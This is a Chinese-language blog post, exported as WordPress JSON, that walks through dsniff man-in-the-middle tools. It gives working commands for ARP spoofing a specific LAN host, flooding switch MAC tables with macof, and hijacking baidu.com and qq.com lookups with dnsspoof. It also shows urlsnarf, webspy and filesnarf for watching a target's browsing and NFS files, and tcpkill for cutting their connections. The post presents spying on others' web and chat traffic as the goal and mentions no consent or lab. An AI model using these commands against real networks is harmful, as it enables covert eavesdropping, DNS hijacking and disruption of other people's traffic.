{"id":338,"date":"2025-04-23T16:17:52","date_gmt":"2025-04-23T08:17:52","guid":{"rendered":"http:\/\/cennum.top\/?p=338"},"modified":"2025-05-01T02:53:18","modified_gmt":"2025-04-30T18:53:18","slug":"dsniff-%e5%b7%a5%e5%85%b7%e9%9b%863-%e5%9f%ba%e4%ba%8e%e4%b8%ad%e9%97%b4%e4%ba%ba%e7%9a%84%e5%b7%a5%e5%85%b7","status":"publish","type":"post","link":"https:\/\/cennum.top\/index.php\/2025\/04\/23\/dsniff-%e5%b7%a5%e5%85%b7%e9%9b%863-%e5%9f%ba%e4%ba%8e%e4%b8%ad%e9%97%b4%e4%ba%ba%e7%9a%84%e5%b7%a5%e5%85%b7\/","title":{"rendered":"dsniff \u5de5\u5177\u96c63-\u57fa\u4e8e\u201c\u4e2d\u95f4\u4eba\u201d\u7684\u5de5\u5177"},"content":{"rendered":"\n

dsniff\u91cc\u9762\u5f88\u591a\u5de5\u5177\u90fd\u57fa\u4e8eARP \u6b3a\u9a97\uff0c\u901a\u8fc7\u6210\u4e3a\u4e2d\u95f4\u4eba\u6765\u6293\u53d6\u6570\u636e\uff0c\u8fd9\u91cc\u90fd\u5f52\u7eb3\u5230\u4e00\u8d77<\/p>\n\n\n\n

\u4e00.\u5148\u5bf9\u76ee\u6807\u4f7f\u7528ARP\u653b\u51fb\u6216\u8005macof\u8f70\u70b8<\/h4>\n\n\n\n

\u6253\u5f00\u7cfb\u7edf\u7684ipv4\u8f6c\u53d1\uff0c\u5c31\u50cf\u4ec0\u4e48\u4e8b\u60c5\u90fd\u6ca1\u6709\u53d1\u751f\u4e00\u6837<\/p>\n\n\n\n

sudo sysctl -w net.ipv4.ip_forward=1\nsudo arpspoof -i wlp2s0 -t 192.168.31.76 192.168.31.1<\/code><\/pre>\n\n\n\n
\u6216\u8005\u66b4\u529b\u4e00\u70b9\uff0c\u76f4\u63a5\u4f7f\u7528macof<\/strong>\u6765\u8f70\u70b8\u4ea4\u6362\u673a\u7684 MAC \u5730\u5740\u8868<\/p>\n\n\n\n
macof<\/strong>\u4f1a\u751f\u6210\u5927\u91cf\u968f\u673a\u7684\u4f2a\u9020 MAC \u5730\u5740\u548c IP \u5730\u5740\u7684\u6d41\u91cf\uff0c\u4ece\u800c\u6df9\u6ca1\u4ea4\u6362\u673a\u7684 MAC \u5730\u5740\u8868<\/strong>\u3002\u4e00\u65e6\u4ea4\u6362\u673a\u8868\u7206\u6ee1\uff0c\u4ea4\u6362\u673a\u4f1a\u9000\u5316\u6210\u201c\u5e7f\u64ad\u6a21\u5f0f\u201d<\/strong>\uff08\u5373\uff1a\u628a\u6570\u636e\u5305\u53d1\u9001\u7ed9\u6240\u6709\u7aef\u53e3\uff09\uff0c\u8fd9\u65f6\u4f60\u5c31\u80fd\u55c5\u63a2\u5230\u539f\u672c\u4f60\u201c\u770b\u4e0d\u5230\u201d\u7684\u6570\u636e\u6d41\u91cf\uff08\u6bd4\u5982\u522b\u4eba\u7684\u7f51\u9875\u3001\u804a\u5929\u7b49\uff09<\/p>\n\n\n\n
\u7b80\u5355\u6765\u8bf4\uff0cmacof<\/strong>\u5c31\u662f\u628a\u4ea4\u6362\u673a\u53d8\u6210\u4e86\u201cHub\u201d\u884c\u4e3a\u3002<\/p>\n\n\n\n
\u4f7f\u7528macof\u53ef\u80fd\u5bfc\u81f4\u516c\u53f8\/\u5b66\u6821\u7f51\u7edc\u4e2d\u53ef\u80fd\u89e6\u53d1 IDS\/IPS \u62a5\u8b66\uff0c<\/p>\n\n\n\n
\u4f7f\u7528\u65b9\u5f0f<\/strong>\uff1a<\/p>\n\n\n\n
\u76f4\u63a5\u4f7f\u7528\uff1a<\/p>\n\n\n\n
sudo macof -i wlp2s0<\/code><\/pre>\n\n\n\n
\u6216\u8005\u5e26\u53c2\u6570\u624b\u52a8\u6307\u5b9a\u76ee\u6807\u8303\u56f4\uff1a<\/p>\n\n\n\n
sudo macof -i wlp2s0 -n 10000 -s 192.168.31.100 -d 192.168.31.1<\/code><\/pre>\n\n\n\n
\u53c2\u6570\u8bf4\u660e\uff1a<\/p>\n\n\n\n
-i<\/code>\uff1a\u6307\u5b9a\u7f51\u5361\u63a5\u53e3<\/p>\n\n\n\n
-n<\/code>\uff1a\u53d1\u9001\u7684\u5305\u6570\uff08\u9ed8\u8ba4\u65e0\u9650\u53d1\uff09<\/p>\n\n\n\n
-s<\/code>\uff1a\u4f2a\u9020\u6e90 IP<\/p>\n\n\n\n
-d<\/code>\uff1a\u4f2a\u9020\u76ee\u7684 IP<\/p>\n\n\n\n
<\/p>\n\n\n\n
\u4e8c.\u57fa\u4e8eARP\u7684\u5de5\u5177<\/h4>\n\n\n\n
dnsspoof<\/h5>\n\n\n\n
dnsspoof<\/code> \u662f dsniff<\/code> \u5de5\u5177\u96c6\u4e2d\u4e00\u4e2a\u7528\u4e8e \u4f2a\u9020 DNS \u54cd\u5e94\u5305<\/strong> \u7684\u5de5\u5177\u3002\u5b83\u53ef\u4ee5\u8ba9\u76ee\u6807\u8bbe\u5907\u5728\u8bbf\u95ee\u67d0\u4e2a\u57df\u540d\u65f6\uff0c\u88ab\u5f15\u5bfc\u5230\u4f60\u6307\u5b9a\u7684 IP \u5730\u5740\u4e0a\uff0c\u4ece\u800c\u5b9e\u73b0 \u57df\u540d\u52ab\u6301<\/strong> \u7684\u6548\u679c\u3002<\/p>\n\n\n\n
1.\u4f2a\u9020DNS\u89c4\u5219\u6587\u4ef6\u4fdd\u5b58\u4e3ahost.txt<\/p>\n\n\n\n
192.168.31.100    www.baidu.com\n192.168.31.100    *.qq.com<\/code><\/pre>\n\n\n\n
\u5f53\u76ee\u6807\u8bbf\u95ee www.baidu.com<\/code> \u6216\u4efb\u4f55 qq.com<\/code> \u5b50\u57df\u540d\u65f6\uff0c\u90fd\u8fd4\u56de 192.168.31.100<\/code>\u3002<\/p>\n\n\n\n
2.\u5bf9\u76ee\u6807\u542f\u52a8ARP\uff0c\u5f00\u542f\u7cfb\u7edf\u5bf9ipv4\u7684\u8f6c\u53d1<\/code><\/p>\n\n\n\n
3.\u542f\u52a8 dnsspoof<\/code><\/p>\n\n\n\n
sudo dnsspoof -i wlp2s0 -f hosts.txt<\/code><\/pre>\n\n\n\n
<\/p>\n\n\n\n
urlsnarf\uff1a<\/h5>\n\n\n\n
urlsnarf<\/code> \u4f1a\u6355\u83b7\u5c40\u57df\u7f51\u4e2d\u901a\u8fc7 HTTP <\/strong>\u534f\u8bae\u53d1\u51fa\u7684\u7f51\u9875\u8bf7\u6c42\uff08GET \/ POST \u7b49\uff09\uff0c\u5e76\u5c06\u8bbf\u95ee\u7684 URL<\/strong> \u663e\u793a\u51fa\u6765\u3002<\/p>\n\n\n\n
1.\u5bf9\u76ee\u6807\u542f\u52a8ARP\uff0c\u5f00\u542f\u7cfb\u7edf\u5bf9ipv4\u7684\u8f6c\u53d1<\/code><\/p>\n\n\n\n
2.\u8fd0\u884c urlsnarf<\/code><\/p>\n\n\n\n
sudo urlsnarf -i wlp2s0<\/code><\/pre>\n\n\n\n
\u8fd0\u884c\u540e\u547d\u4ee4\u884c\u4f1a\u660e\u6587\u8f93\u51fa\u5bf9\u65b9\u6b63\u5728\u8bbf\u95ee\u7684\u7f51\u7ad9<\/p>\n\n\n\n
<\/p>\n\n\n\n
webspy\uff1a\u53ea\u80fd\u55c5\u63a2 HTTP \u6d41\u91cf<\/h4>\n\n\n\n
webspy<\/code>\u53ef\u4ee5\u76d1\u542c\u67d0\u4e2a\u76ee\u6807\u8bbe\u5907\u7684 HTTP <\/strong>\u8bf7\u6c42\uff0c\u7136\u540e\u81ea\u52a8\u5728\u4f60\u7684\u6d4f\u89c8\u5668\u4e2d\u6253\u5f00\u8be5\u7f51\u9875\uff0c\u5b9e\u666f\u76f4\u64ad\u522b\u4eba\u7f51\u9875\u64cd\u4f5c\u3002<\/p>\n\n\n\n
1.\u5bf9\u76ee\u6807\u542f\u52a8ARP\uff0c\u5f00\u542f\u7cfb\u7edf\u5bf9ipv4\u7684\u8f6c\u53d1<\/code><\/p>\n\n\n\n
2.\u4f7f\u7528 webspy<\/code><\/p>\n\n\n\n
sudo webspy -i wlp2s0 192.168.31.76<\/code><\/pre>\n\n\n\n
-i wlp2s0<\/code>           \uff1a\u4f60\u7684\u7f51\u5361\u540d\u79f0<\/p>\n\n\n\n
192.168.31.76<\/code>   \uff1a\u4f60\u8981\u76d1\u542c\u7684\u76ee\u6807\u8bbe\u5907 IP<\/p>\n\n\n\n
3.\u642d\u914d\u4f7f\u7528firefox<\/code>\u76f4\u64ad\u753b\u9762<\/p>\n\n\n\n
\u5148\u5728\u547d\u4ee4\u884c\u8fd0\u884c\uff1a<\/p>\n\n\n\n
firefox -remote \"openurl(http:\/\/placeholder.com)\"<\/code><\/pre>\n\n\n\n
\u6216\u8005\u5982\u679c\u662f\u65b0\u7248\u6d4f\u89c8\u5668\uff0c\u4f7f\u7528\u4e0b\u9762\u65b9\u5f0f\u542f\u52a8\u4e00\u4e2a\u76d1\u542c\u547d\u4ee4\u7aef\u53e3\u7684\u5b9e\u4f8b\uff08\u4e0d\u662f\u5f3a\u5236\u7684\uff09\uff1a<\/p>\n\n\n\n
firefox --new-instance<\/code><\/pre>\n\n\n\n
\u7136\u540e\u8fd0\u884c webspy<\/code>\uff0c\u6bcf\u5f53\u76ee\u6807\u8bbf\u95ee\u7f51\u9875\u65f6\uff0c\u4f60\u7684\u6d4f\u89c8\u5668\u5c31\u4f1a\u81ea\u52a8\u8df3\u8f6c\u5230\u76f8\u540c\u7684\u5730\u5740<\/p>\n\n\n\n
<\/p>\n\n\n\n
filesnarf\uff1a\u53ea\u80fd\u6355\u83b7NFS\u6d41\u91cf<\/h4>\n\n\n\n
filesnarf<\/code> \u662f dsniff<\/code> \u5957\u4ef6\u4e2d\u4e00\u4e2a\u7528\u4e8e\u55c5\u63a2 NFS\uff08Network File System | \u662f Linux \u548c\u7c7b UNIX \u7cfb\u7edf\u4e2d\u5e38\u89c1\u7684\u6587\u4ef6\u5171\u4eab\u534f\u8bae\uff09 \u7f51\u7edc\u6587\u4ef6\u4f20\u8f93\u5185\u5bb9<\/strong> \u7684\u5de5\u5177\uff0c\u53ef\u4ee5\u6355\u83b7\u5c40\u57df\u7f51\u4e2d\u901a\u8fc7 NFS\uff08\u7f51\u7edc\u6587\u4ef6\u7cfb\u7edf\uff09\u5171\u4eab\u7684\u6587\u4ef6\u5185\u5bb9<\/strong>\uff0c\u76f4\u63a5\u770b\u5230\u522b\u4eba\u901a\u8fc7 NFS \u6b63\u5728\u4f20\u8f93\u7684\u6587\u4ef6<\/p>\n\n\n\n
1.\u5bf9\u76ee\u6807\u542f\u52a8ARP\uff0c\u5f00\u542f\u7cfb\u7edf\u5bf9ipv4\u7684\u8f6c\u53d1<\/code><\/p>\n\n\n\n
2.\u542f\u52a8filesnarf<\/p>\n\n\n\n
sudo filesnarf -i wlp2s0<\/code><\/pre>\n\n\n\n
\u53ef\u4ee5\u52a0\u4e0a -v<\/code> \u53c2\u6570\u67e5\u770b\u66f4\u591a\u7ec6\u8282\u4fe1\u606f\uff1a<\/p>\n\n\n\n
<\/p>\n\n\n\n
tcpkill<\/h4>\n\n\n\n
\u7528\u6765\u201c\u6740\u6b7b\u201d\u6307\u5b9a\u76ee\u6807\u7684 TCP \u8fde\u63a5\uff08\u4e0d\u662f\u7269\u7406\u65ad\u7f51\uff0c\u800c\u662f\u7ec8\u6b62\u5b83\u6b63\u5728\u8fdb\u884c\u7684\u7f51\u7edc\u901a\u4fe1\uff09\uff0c\u5de5\u4f5c\u65b9\u5f0f\u7c7b\u4f3c\u4e8e\u5411\u8fde\u63a5\u4e2d\u7684\u4e00\u65b9\u6216\u53cc\u65b9\u4f2a\u9020 TCP RST\uff08\u91cd\u7f6e\uff09\u5305\uff0c\u4ece\u800c\u8ba9\u8fde\u63a5\u7acb\u5373\u4e2d\u65ad\u3002<\/p>\n\n\n\n
1.\u9700\u8981 arpspoof<\/code> \u6216 macof<\/code> \u8f85\u52a9,\u6210\u4e3a\u201c\u4e2d\u95f4\u4eba\u201d<\/p>\n\n\n\n
2.\u6700\u7b80\u5355\u7684\u4f7f\u7528\u65b9\u5f0f\uff1a<\/p>\n\n\n\n
sudo tcpkill -i wlp2s0 host 192.168.31.76<\/code><\/pre>\n\n\n\n
\u7cbe\u786e\u201c\u72d9\u51fb\u201d\u67d0\u4e2a\u670d\u52a1\uff08\u5982 HTTP\uff0cSSH\uff09\uff1a<\/p>\n\n\n\n
sudo tcpkill -i wlp2s0 host 192.168.31.76 and port 80\nsudo tcpkill -i wlp2s0 host 192.168.31.76 and port 22<\/code><\/pre>\n\n\n\n
\u4f7f\u7528 net<\/code>\uff08\u7f51\u7edc\u6bb5\uff09\uff1a<\/p>\n\n\n\n
sudo tcpkill -i wlp2s0 net 192.168.31.0\/24<\/code><\/pre>\n\n\n\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
dsniff\u91cc\u9762\u5f88\u591a\u5de5\u5177\u90fd\u57fa\u4e8eARP \u6b3a\u9a97\uff0c\u901a\u8fc7\u6210 …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2,3],"tags":[],"class_list":["post-338","post","type-post","status-publish","format-standard","hentry","category-linux","category-3"],"_links":{"self":[{"href":"https:\/\/cennum.top\/index.php\/wp-json\/wp\/v2\/posts\/338","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/cennum.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cennum.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cennum.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/cennum.top\/index.php\/wp-json\/wp\/v2\/comments?post=338"}],"version-history":[{"count":3,"href":"https:\/\/cennum.top\/index.php\/wp-json\/wp\/v2\/posts\/338\/revisions"}],"predecessor-version":[{"id":341,"href":"https:\/\/cennum.top\/index.php\/wp-json\/wp\/v2\/posts\/338\/revisions\/341"}],"wp:attachment":[{"href":"https:\/\/cennum.top\/index.php\/wp-json\/wp\/v2\/media?parent=338"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cennum.top\/index.php\/wp-json\/wp\/v2\/categories?post=338"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cennum.top\/index.php\/wp-json\/wp\/v2\/tags?post=338"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}